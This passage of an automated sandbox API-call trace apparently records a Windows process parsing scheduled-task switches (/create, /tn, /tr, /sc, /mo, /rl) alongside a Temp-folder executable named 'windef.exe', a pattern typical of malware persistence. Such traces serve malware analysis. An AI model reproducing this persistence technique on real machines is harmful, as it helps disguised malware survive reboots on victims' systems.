_BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|p|") returned 3 [0153.335] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|tr|") returned 4 [0153.335] lstrlenW (lpString="|p|") returned 3 [0153.335] lstrlenW (lpString="|tr|") returned 4 [0153.335] RtlRestoreLastWin32Error () returned 0x490 [0153.335] lstrlenW (lpString="ru") returned 2 [0153.335] lstrlenW (lpString="ru") returned 2 [0153.335] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.335] lstrlenW (lpString="tr") returned 2 [0153.335] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.335] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|ru|") returned 4 [0153.335] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|tr|") returned 4 [0153.335] lstrlenW (lpString="|ru|") returned 4 [0153.335] lstrlenW (lpString="|tr|") returned 4 [0153.335] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0153.335] RtlRestoreLastWin32Error () returned 0x490 [0153.335] lstrlenW (lpString="rp") returned 2 [0153.336] lstrlenW (lpString="rp") returned 2 [0153.336] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.336] lstrlenW (lpString="tr") returned 2 [0153.336] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.336] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|rp|") returned 4 [0153.336] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|tr|") returned 4 [0153.336] lstrlenW (lpString="|rp|") returned 4 [0153.336] lstrlenW (lpString="|tr|") returned 4 [0153.336] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0153.336] RtlRestoreLastWin32Error () returned 0x490 [0153.336] lstrlenW (lpString="sc") returned 2 [0153.336] lstrlenW (lpString="sc") returned 2 [0153.336] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.336] lstrlenW (lpString="tr") returned 2 [0153.336] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.336] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|sc|") returned 4 [0153.336] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|tr|") returned 4 [0153.336] lstrlenW (lpString="|sc|") returned 4 [0153.336] lstrlenW (lpString="|tr|") returned 4 [0153.336] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0153.336] RtlRestoreLastWin32Error () returned 0x490 [0153.336] lstrlenW (lpString="mo") returned 2 [0153.336] lstrlenW (lpString="mo") returned 2 [0153.336] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.336] lstrlenW (lpString="tr") returned 2 [0153.336] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.336] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|mo|") returned 4 [0153.336] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|tr|") returned 4 [0153.337] lstrlenW (lpString="|mo|") returned 4 [0153.337] lstrlenW (lpString="|tr|") returned 4 [0153.337] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0153.337] RtlRestoreLastWin32Error () returned 0x490 [0153.337] lstrlenW (lpString="d") returned 1 [0153.337] lstrlenW (lpString="d") returned 1 [0153.337] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.337] lstrlenW (lpString="tr") returned 2 [0153.337] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.337] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|d|") returned 3 [0153.337] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|tr|") returned 4 [0153.337] lstrlenW (lpString="|d|") returned 3 [0153.337] lstrlenW (lpString="|tr|") returned 4 [0153.337] RtlRestoreLastWin32Error () returned 0x490 [0153.337] lstrlenW (lpString="m") returned 1 [0153.337] lstrlenW (lpString="m") returned 1 [0153.337] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.337] lstrlenW (lpString="tr") returned 2 [0153.337] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.337] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|m|") returned 3 [0153.337] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|tr|") returned 4 [0153.337] lstrlenW (lpString="|m|") returned 3 [0153.337] lstrlenW (lpString="|tr|") returned 4 [0153.337] RtlRestoreLastWin32Error () returned 0x490 [0153.337] lstrlenW (lpString="i") returned 1 [0153.337] lstrlenW (lpString="i") returned 1 [0153.337] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.337] lstrlenW (lpString="tr") returned 2 [0153.338] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.338] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|i|") returned 3 [0153.338] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|tr|") returned 4 [0153.338] lstrlenW (lpString="|i|") returned 3 [0153.338] lstrlenW (lpString="|tr|") returned 4 [0153.338] RtlRestoreLastWin32Error () returned 0x490 [0153.338] lstrlenW (lpString="tn") returned 2 [0153.338] lstrlenW (lpString="tn") returned 2 [0153.338] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.338] lstrlenW (lpString="tr") returned 2 [0153.338] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.338] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|tn|") returned 4 [0153.338] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|tr|") returned 4 [0153.338] lstrlenW (lpString="|tn|") returned 4 [0153.338] lstrlenW (lpString="|tr|") returned 4 [0153.338] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0153.338] RtlRestoreLastWin32Error () returned 0x490 [0153.338] lstrlenW (lpString="tr") returned 2 [0153.338] lstrlenW (lpString="tr") returned 2 [0153.338] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.338] lstrlenW (lpString="tr") returned 2 [0153.338] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.338] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|tr|") returned 4 [0153.338] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|tr|") returned 4 [0153.338] lstrlenW (lpString="|tr|") returned 4 [0153.338] lstrlenW (lpString="|tr|") returned 4 [0153.338] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0153.339] RtlRestoreLastWin32Error () returned 0x0 [0153.339] RtlRestoreLastWin32Error () returned 0x0 [0153.339] lstrlenW (lpString="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\windef.exe") returned 47 [0153.339] lstrlenW (lpString="-/") returned 2 [0153.339] StrChrIW (lpStart="-/", wMatch=0x4630043) returned 0x0 [0153.339] RtlRestoreLastWin32Error () returned 0x490 [0153.339] RtlRestoreLastWin32Error () returned 0x490 [0153.339] RtlRestoreLastWin32Error () returned 0x0 [0153.339] lstrlenW (lpString="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\windef.exe") returned 47 [0153.339] StrChrIW (lpStart="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\windef.exe", wMatch=0x3a) returned=":\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\windef.exe" [0153.339] lstrlenW (lpString="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\windef.exe") returned 47 [0153.339] _memicmp (_Buf1=0x42a74f0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.339] _memicmp (_Buf1=0x42aad08, _Buf2=0x232708, _Size=0x7) returned 0 [0153.339] RtlRestoreLastWin32Error () returned 0x7a [0153.339] RtlRestoreLastWin32Error () returned 0x0 [0153.339] RtlRestoreLastWin32Error () returned 0x0 [0153.339] lstrlenW (lpString="C") returned 1 [0153.339] RtlRestoreLastWin32Error () returned 0x490 [0153.339] RtlRestoreLastWin32Error () returned 0x0 [0153.339] _memicmp (_Buf1=0x42aab58, _Buf2=0x232708, _Size=0x7) returned 0 [0153.339] lstrlenW (lpString="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\windef.exe") returned 47 [0153.339] GetProcessHeap () returned 0x42a0000 [0153.339] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42aac48) returned 1 [0153.339] GetProcessHeap () returned 0x42a0000 [0153.339] RtlReAllocateHeap (Heap=0x42a0000, Flags=0xc, Ptr=0x42aac48, Size=0x60) returned 0x42aaf70 [0153.339] lstrlenW (lpString="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\windef.exe") returned 47 [0153.339] lstrlenW (lpString=" \x09") returned 2 [0153.339] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0153.339] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0153.339] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0153.340] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0153.340] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0153.340] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0153.340] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0153.340] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0153.340] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0153.340] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0153.340] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0153.340] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0 [0153.340] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0153.340] StrChrW (lpStart=" \x09", wMatch=0x4a) returned 0x0 [0153.340] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0153.340] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0153.340] StrChrW (lpStart=" \x09", wMatch=0x7e) returned 0x0 [0153.340] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0153.340] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0153.340] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0153.340] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0153.340] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0153.340] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0 [0153.340] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0153.340] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0153.340] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0153.340] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0153.340] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0153.340] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0153.340] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0153.340] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0153.340] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0153.341] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0153.341] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0153.341] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0153.341] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0153.341] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0153.341] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0153.341] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0153.341] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0153.341] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0153.341] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0153.341] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0153.341] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0153.341] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0153.341] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0153.341] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0153.341] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0153.341] GetLastError () returned 0x0 [0153.341] lstrlenW (lpString="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\windef.exe") returned 47 [0153.341] lstrlenW (lpString="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\windef.exe") returned 47 [0153.341] RtlRestoreLastWin32Error () returned 0x0 [0153.341] RtlRestoreLastWin32Error () returned 0x0 [0153.341] lstrlenW (lpString="/rl") returned 3 [0153.341] lstrlenW (lpString="-/") returned 2 [0153.341] StrChrIW (lpStart="-/", wMatch=0x463002f) returned="/" [0153.341] lstrlenW (lpString="create") returned 6 [0153.341] lstrlenW (lpString="create") returned 6 [0153.341] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.341] lstrlenW (lpString="rl") returned 2 [0153.341] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.342] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|create|") returned 8 [0153.342] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|rl|") returned 4 [0153.342] lstrlenW (lpString="|create|") returned 8 [0153.342] lstrlenW (lpString="|rl|") returned 4 [0153.342] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0153.342] RtlRestoreLastWin32Error () returned 0x490 [0153.342] lstrlenW (lpString="?") returned 1 [0153.342] lstrlenW (lpString="?") returned 1 [0153.342] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.342] lstrlenW (lpString="rl") returned 2 [0153.342] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.342] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|?|") returned 3 [0153.342] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|rl|") returned 4 [0153.342] lstrlenW (lpString="|?|") returned 3 [0153.342] lstrlenW (lpString="|rl|") returned 4 [0153.342] RtlRestoreLastWin32Error () returned 0x490 [0153.342] lstrlenW (lpString="s") returned 1 [0153.342] lstrlenW (lpString="s") returned 1 [0153.342] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.342] lstrlenW (lpString="rl") returned 2 [0153.342] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.342] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|s|") returned 3 [0153.342] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|rl|") returned 4 [0153.342] lstrlenW (lpString="|s|") returned 3 [0153.342] lstrlenW (lpString="|rl|") returned 4 [0153.343] RtlRestoreLastWin32Error () returned 0x490 [0153.343] lstrlenW (lpString="u") returned 1 [0153.343] lstrlenW (lpString="u") returned 1 [0153.343] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.343] lstrlenW (lpString="rl") returned 2 [0153.343] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.343] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|u|") returned 3 [0153.343] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|rl|") returned 4 [0153.343] lstrlenW (lpString="|u|") returned 3 [0153.343] lstrlenW (lpString="|rl|") returned 4 [0153.343] RtlRestoreLastWin32Error () returned 0x490 [0153.343] lstrlenW (lpString="p") returned 1 [0153.343] lstrlenW (lpString="p") returned 1 [0153.343] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.343] lstrlenW (lpString="rl") returned 2 [0153.343] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.343] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|p|") returned 3 [0153.343] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|rl|") returned 4 [0153.343] lstrlenW (lpString="|p|") returned 3 [0153.343] lstrlenW (lpString="|rl|") returned 4 [0153.343] RtlRestoreLastWin32Error () returned 0x490 [0153.343] lstrlenW (lpString="ru") returned 2 [0153.343] lstrlenW (lpString="ru") returned 2 [0153.343] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.344] lstrlenW (lpString="rl") returned 2 [0153.344] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.344] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|ru|") returned 4 [0153.344] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|rl|") returned 4 [0153.344] lstrlenW (lpString="|ru|") returned 4 [0153.344] lstrlenW (lpString="|rl|") returned 4 [0153.344] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0153.344] RtlRestoreLastWin32Error () returned 0x490 [0153.344] lstrlenW (lpString="rp") returned 2 [0153.344] lstrlenW (lpString="rp") returned 2 [0153.344] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.344] lstrlenW (lpString="rl") returned 2 [0153.344] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.344] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|rp|") returned 4 [0153.344] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|rl|") returned 4 [0153.344] lstrlenW (lpString="|rp|") returned 4 [0153.344] lstrlenW (lpString="|rl|") returned 4 [0153.344] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0153.344] RtlRestoreLastWin32Error () returned 0x490 [0153.344] lstrlenW (lpString="sc") returned 2 [0153.344] lstrlenW (lpString="sc") returned 2 [0153.344] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.344] lstrlenW (lpString="rl") returned 2 [0153.344] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.344] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|sc|") returned 4 [0153.344] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|rl|") returned 4 [0153.344] lstrlenW (lpString="|sc|") returned 4 [0153.344] lstrlenW (lpString="|rl|") returned 4 [0153.345] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0153.345] RtlRestoreLastWin32Error () returned 0x490 [0153.345] lstrlenW (lpString="mo") returned 2 [0153.345] lstrlenW (lpString="mo") returned 2 [0153.345] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.345] lstrlenW (lpString="rl") returned 2 [0153.345] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.345] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|mo|") returned 4 [0153.345] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|rl|") returned 4 [0153.345] lstrlenW (lpString="|mo|") returned 4 [0153.345] lstrlenW (lpString="|rl|") returned 4 [0153.345] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0153.345] RtlRestoreLastWin32Error () returned 0x490 [0153.345] lstrlenW (lpString="d") returned 1 [0153.345] lstrlenW (lpString="d") returned 1 [0153.345] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.345] lstrlenW (lpString="rl") returned 2 [0153.345] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.345] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|d|") returned 3 [0153.345] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|rl|") returned 4 [0153.345] lstrlenW (lpString="|d|") returned 3 [0153.345] lstrlenW (lpString="|rl|") returned 4 [0153.345] RtlRestoreLastWin32Error () returned 0x490 [0153.345] lstrlenW (lpString="m") returned 1 [0153.345] lstrlenW (lpString="m") returned 1 [0153.345] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.345] lstrlenW (lpString="rl") returned 2 [0153.345] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.346] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|m|") returned 3 [0153.346] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|rl|") returned 4 [0153.346] lstrlenW (lpString="|m|") returned 3 [0153.346] lstrlenW (lpString="|rl|") returned 4 [0153.346] RtlRestoreLastWin32Error () returned 0x490 [0153.346] lstrlenW (lpString="i") returned 1 [0153.346] lstrlenW (lpString="i") returned 1 [0153.346] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.346] lstrlenW (lpString="rl") returned 2 [0153.346] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.346] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|i|") returned 3 [0153.346] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|rl|") returned 4 [0153.346] lstrlenW (lpString="|i|") returned 3 [0153.346] lstrlenW (lpString="|rl|") returned 4 [0153.346] RtlRestoreLastWin32Error () returned 0x490 [0153.346] lstrlenW (lpString="tn") returned 2 [0153.346] lstrlenW (lpString="tn") returned 2 [0153.346] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.346] lstrlenW (lpString="rl") returned 2 [0153.346] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.346] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|tn|") returned 4 [0153.346] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|rl|") returned 4 [0153.346] lstrlenW (lpString="|tn|") returned 4 [0153.346] lstrlenW (lpString="|rl|") returned 4 [0153.346] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0153.346] RtlRestoreLastWin32Error () returned 0x490 [0153.346] lstrlenW (lpString="tr") returned 2 [0153.346] lstrlenW (lpString="tr") returned 2 [0153.347] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.347] lstrlenW (lpString="rl") returned 2 [0153.347] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.347] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|tr|") returned 4 [0153.347] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|rl|") returned 4 [0153.347] lstrlenW (lpString="|tr|") returned 4 [0153.347] lstrlenW (lpString="|rl|") returned 4 [0153.347] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0153.347] RtlRestoreLastWin32Error () returned 0x490 [0153.347] lstrlenW (lpString="st") returned 2 [0153.347] lstrlenW (lpString="st") returned 2 [0153.347] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.347] lstrlenW (lpString="rl") returned 2 [0153.347] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.347] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|st|") returned 4 [0153.347] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|rl|") returned 4 [0153.347] lstrlenW (lpString="|st|") returned 4 [0153.347] lstrlenW (lpString="|rl|") returned 4 [0153.347] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0153.347] RtlRestoreLastWin32Error () returned 0x490 [0153.347] lstrlenW (lpString="sd") returned 2 [0153.347] lstrlenW (lpString="sd") returned 2 [0153.347] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.347] lstrlenW (lpString="rl") returned 2 [0153.347] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.347] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|sd|") returned 4 [0153.348] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|rl|") returned 4 [0153.348] lstrlenW (lpString="|sd|") returned 4 [0153.348] lstrlenW (lpString="|rl|") returned 4 [0153.348] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0153.348] RtlRestoreLastWin32Error () returned 0x490 [0153.348] lstrlenW (lpString="ed") returned 2 [0153.348] lstrlenW (lpString="ed") returned 2 [0153.348] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.348] lstrlenW (lpString="rl") returned 2 [0153.348] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.348] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|ed|") returned 4 [0153.348] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|rl|") returned 4 [0153.348] lstrlenW (lpString="|ed|") returned 4 [0153.348] lstrlenW (lpString="|rl|") returned 4 [0153.348] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0153.348] RtlRestoreLastWin32Error () returned 0x490 [0153.348] lstrlenW (lpString="it") returned 